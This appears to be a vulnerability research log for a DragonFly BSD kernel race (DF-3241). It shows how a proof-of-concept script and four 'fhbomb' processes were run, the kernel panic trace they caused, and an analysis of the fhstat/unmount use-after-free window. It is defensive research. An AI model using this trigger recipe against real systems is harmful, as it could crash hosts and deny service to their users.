DF-3241 baseline run (STOCK kernel, DragonFly 6.5-DEVELOPMENT #0 X86_64_GENERIC)

Host transcript (2026-09-09 ~05:15 UTC):

  $ bash findings/poc/DF-3241/build.sh
  BUILD_OK

  $ vm.sh run_root 'rm -f /root/race.log /root/u.img; \
                    (ROUNDS=3 NBOMB=4 nohup sh /root/poc/race.sh >/dev/null 2>&1 &); \
                    sleep 35; tail -40 /root/race.log'
  <ssh session HUNG — no reply before host-side 70s timeout>

  $ vm.sh status
  down

race.sh setup steps that completed before the hang (from serial log):
  + dd if=/dev/zero of=/root/u.img bs=1m count=64
  + vnconfig -c vn0 /root/u.img
  + newfs /dev/vn0                (vn0: MBR magic not found; assume a COMPATIBILITY_SLICE)
  + mount -t ufs /dev/vn0 /mnt ; getfh ; umount
  + SANITY_OK (implicit: script exits on failure before starting fhbomb)
  + fhbomb x4 started, mount/umount -f loop entered

Serial console (panic — full capture in panic.txt):

  Fatal user address access from kernel mode from fhbomb at ffffffff80910b3b

  Fatal trap 12: page fault while in kernel mode
  cpuid = 3; lapic id = 3
  fault virtual address  = 0x18
  fault code            = supervisor read data, page not present
  instruction pointer    = 0x8:0xffffffff80910b3b
  ...
  current process        = 1086 (fhbomb)
  kernel: type 12 trap, code=0
  CPU3 stopping CPUs: 0x00000037
  Stopped at      ffs_fhtovp+0xb: movq    0x18(%rax),%r9   # rax = mnt_data = NULL

Interpretation:
  fault address 0x18 == offsetof(struct ufsmount, um_fs)
  fhstat() resolved the fsid via vfs_getvfs() in the window where
  VFS_UNMOUNT already freed the ufsmount (mnt_data = 0) but the mount is
  still in the fsid RB-tree (mountlist_remove not yet reached).
  Panic occurred within the FIRST driver run (ROUNDS=3), i.e. the window
  is hit on effectively the first umount with 4 spinning fhstat processes.